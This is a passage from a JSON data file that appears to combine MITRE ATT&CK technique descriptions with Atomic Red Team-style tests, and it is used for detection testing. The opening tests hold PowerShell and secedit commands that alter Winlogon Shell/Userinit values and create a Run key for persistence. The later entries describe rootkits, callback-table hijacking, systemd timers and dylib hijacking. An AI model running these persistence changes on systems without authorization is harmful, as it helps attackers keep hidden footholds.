- "cleanup_command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup'",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Modify default System Shell - Winlogon Shell KEY Value ",
- "auto_generated_guid": "1d958c61-09c6-4d9e-b26b-4130314e520e",
- "description": "This test change the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell from \"explorer.exe\" to the full path of \"C:\\Windows\\explorer.exe\" \nto log a change to the key's default value without breaking boot sequence. \nAn atacker will alternatively replace this with a custom shell. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "what to run",
- "type": "string",
- "default": "C:\\Windows\\explorer.exe"
- }
- },
- "executor": {
- "command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \", #{payload}\";\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$newvalue\"\n",
- "cleanup_command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup'",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "secedit used to create a Run key in the HKLM Hive",
- "auto_generated_guid": "14fdc3f1-6fc3-4556-8d36-aa89d9d42d02",
- "description": "secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.\n[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ini_file": {
- "description": "INI config template",
- "type": "string",
- "default": "$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini"
- },
- "secedit_db": {
- "description": "Custom secedit db",
- "type": "string",
- "default": "mytemplate.db"
- }
- },
- "executor": {
- "command": "secedit /import /db #{secedit_db} /cfg #{ini_file}\nsecedit /configure /db #{secedit_db}\n",
- "cleanup_command": "REG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"calc\" /f >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1547.006": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wayne Silva, F-Secure Countercept",
- "Anastasios Pingios",
- "Jeremy Galloway",
- "Red Canary",
- "Eric Kaiser @ideologysec"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6",
- "created": "2020-01-24T17:42:23.339Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.006",
- "url": "https://attack.mitre.org/techniques/T1547/006"
- },
- {
- "source_name": "Apple Developer Configuration Profile",
- "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf",
- "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021."
- },
- {
- "source_name": "Apple Kernel Extension Deprecation",
- "url": "https://developer.apple.com/support/kernel-extensions/",
- "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020."
- },
- {
- "source_name": "System and kernel extensions in macOS",
- "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web",
- "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022."
- },
- {
- "source_name": "GitHub Reptile",
- "url": "https://github.com/f0rb1dd3n/Reptile",
- "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018."
- },
- {
- "source_name": "Volatility Phalanx2",
- "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
- "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018."
- },
- {
- "source_name": "iDefense Rootkit Overview",
- "url": "http://www.megasecurity.org/papers/Rootkits.pdf",
- "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018."
- },
- {
- "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
- "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html",
- "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018."
- },
- {
- "source_name": "CrowdStrike Linux Rootkit",
- "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
- "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017."
- },
- {
- "source_name": "GitHub Diamorphine",
- "url": "https://github.com/m0nad/Diamorphine",
- "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018."
- },
- {
- "source_name": "Securelist Ventir",
- "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
- "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018."
- },
- {
- "source_name": "User Approved Kernel Extension Pike\u2019s",
- "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/",
- "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021."
- },
- {
- "source_name": "Linux Kernel Module Programming Guide",
- "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
- "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018."
- },
- {
- "source_name": "Linux Kernel Programming",
- "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
- "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
- },
- {
- "source_name": "Trend Micro Skidmap",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
- "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
- },
- {
- "source_name": "Purves Kextpocalypse 2",
- "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/",
- "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021."
- },
- {
- "source_name": "RSAC 2015 San Francisco Patrick Wardle",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018."
- },
- {
- "source_name": "Synack Secure Kernel Extension Broken",
- "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
- "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018."
- },
- {
- "source_name": "Wikipedia Loadable Kernel Module",
- "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
- "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload
and kextunload
commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)",
- "modified": "2022-04-20T18:53:39.406Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Kernel Modules and Extensions",
- "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe
, insmod
, lsmod
, rmmod
, or modinfo
(Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules
and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)
On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
\n\nOn macOS, monitor for execution of kextload
commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy
table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy
.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Process: Process Creation",
- "Command: Command Execution",
- "Kernel: Kernel Module Load"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.006"
- },
- "atomic_tests": []
- },
- "T1574.013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde",
- "type": "attack-pattern",
- "created": "2022-02-25T15:27:44.927Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.013",
- "url": "https://attack.mitre.org/techniques/T1574/013"
- },
- {
- "source_name": "Lazarus APT January 2022",
- "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/",
- "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."
- },
- {
- "source_name": "FinFisher exposed ",
- "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
- "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."
- },
- {
- "source_name": "Windows Process Injection KernelCallbackTable",
- "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/",
- "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022."
- },
- {
- "source_name": "NtQueryInformationProcess",
- "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess",
- "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022."
- }
- ],
- "modified": "2022-03-22T15:47:33.915Z",
- "name": "KernelCallbackTable",
- "description": "Adversaries may abuse the KernelCallbackTable
of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable
can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll
is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable
by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable
can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess()
[Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable
can be duplicated, and a function in the table (e.g., fnCOPYDATA
) set to the address of a malicious payload (ex: via WriteProcessMemory()
). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable
may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable
to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory()
and NtQueryInformationProcess()
with the parameter set to ProcessBasicInformation
may be used for this technique.(Citation: Lazarus APT January 2022)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution"
- ]
- },
- "atomic_tests": []
- },
- "T1053.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "SarathKumar Rajendran, Trimble Inc"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
- "type": "attack-pattern",
- "created": "2020-10-12T17:50:31.584Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.006",
- "url": "https://attack.mitre.org/techniques/T1053/006"
- },
- {
- "source_name": "archlinux Systemd Timers Aug 2020",
- "url": "https://wiki.archlinux.org/index.php/Systemd/Timers",
- "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020."
- },
- {
- "source_name": "Systemd Remote Control",
- "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/",
- "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021."
- },
- {
- "source_name": "Linux man-pages: systemd January 2014",
- "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
- "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
- "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
- "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
- "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
- "source_name": "gist Arch package compromise 10JUL2018"
- },
- {
- "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
- "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
- "source_name": "acroread package compromised Arch Linux Mail 8JUL2018"
- }
- ],
- "modified": "2021-07-27T16:43:25.027Z",
- "name": "Scheduled Task/Job: Systemd Timers",
- "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer
that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl
command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer
file must have a corresponding .service
file with the same name, e.g., example.timer
and example.service
. .service
files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/
and /usr/lib/systemd/system
while user level are written to ~/.config/systemd/user/
.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system
, /usr/lib/systemd/system/
, and ~/.config/systemd/user/
directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all
. Analyze the contents of corresponding .service
files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation",
- "Command: Command Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1053.006"
- },
- "atomic_tests": []
- },
- "T1157": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1157",
- "url": "https://attack.mitre.org/techniques/T1157"
- },
- {
- "external_id": "CAPEC-471",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/471.html"
- },
- {
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
- "source_name": "Writing Bad Malware for OSX"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
- "source_name": "Malware Persistence on OS X"
- }
- ],
- "modified": "2021-03-30T00:51:57.919Z",
- "name": "Dylib Hijacking",
- "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1574": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
- "created": "2020-03-12T20:38:12.465Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574",
- "url": "https://attack.mitre.org/techniques/T1574"
- },
- {
- "source_name": "Autoruns for Windows",
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
- "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
- "modified": "2022-05-05T04:07:01.191Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow",
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Service: Service Metadata",
- "Module: Module Load",
- "File: File Modification",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Syed Ummar Farooqh, McAfee",
- "Prasad Somasamudram, McAfee",
- "Sekhar Sarukkai, McAfee ",
- "Jon Sternstein, Stern Security",
- "Yossi Weizman, Azure Defender Research Team",
- "Netskope",
- "Mark Wee",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
- "created": "2017-05-31T21:31:00.645Z",
- "x_mitre_version": "2.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078",
- "url": "https://attack.mitre.org/techniques/T1078"
- },
- {
- "source_name": "CISA MFA PrintNightmare",
- "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a",
- "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022."
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
